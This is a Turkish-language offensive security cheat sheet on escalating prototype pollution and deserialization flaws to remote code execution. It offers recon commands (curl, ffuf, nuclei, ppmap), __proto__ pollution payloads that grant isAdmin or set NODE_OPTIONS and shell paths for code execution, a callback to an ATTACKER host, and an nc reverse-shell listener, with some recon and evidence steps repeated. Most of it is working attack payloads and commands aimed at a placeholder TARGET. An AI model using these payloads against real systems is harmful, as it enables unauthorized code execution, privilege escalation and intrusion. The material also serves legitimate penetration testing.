Skip to content

Prototype Pollution to RCE

web deserialization

Prototype Pollution to RCE güvenilmeyen serileştirilmiş veri veya prototype/class pollution üzerinden gadget zinciriyle RCE veya auth bypass arar.

  1. Serileştirilmiş girdiyi ve parser’ı tespit et.

  2. Kör OAST (DNS/URLDNS) ile doğrula.

  3. Uygun gadget / pollution zincirini kur.

  4. RCE veya auth bypass etkisini kanıtla.

Terminal window
curl -sk https://TARGET/ -b jar | rg -i 'rO0|aced0005|__VIEWSTATE|O:|pickle|yaml|ObjectInput|java\.'
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc all
cookie, hidden field, JWT claim, message queue, Redis cache
{"__proto__":{"isAdmin":true}}
{"constructor":{"prototype":{"shell":"/bin/sh"}}}
Terminal window
curl -sk https://TARGET/api/merge -H 'Content-Type: application/json' -d '{"__proto__":{"status":200}}'
Object.prototype.isAdmin === true // konsolda doğrula
{"__proto__":{"env":{"NODE_OPTIONS":"--require /proc/self/environ"},"shell":"/proc/self/exe","argv0":"node"}}
Terminal window
ppmap -t https://TARGET
child_process / template / ejs / handlebars gadget zinciri
Terminal window
curl http://ATTACKER/hit
Terminal window
nc -lvnp 443
DNS callback → class confirm → RCE gadget → shell

Prototype Pollution to RCE sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.

Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
nuclei -u https://TARGET -as -silent
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt

Bu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.

Terminal window
curl -sk https://TARGET/robots.txt
Terminal window
curl -sk https://TARGET/sitemap.xml
Terminal window
ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403
Terminal window
nuclei -u https://TARGET -as -silent
GET / HTTP/1.1
Host: TARGET
Accept: */*
Terminal window
mkdir -p evidence/web && tee evidence/web/notes.txt
request/response
zaman damgası
kullanılan hesap
etki özeti
Terminal window
curl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html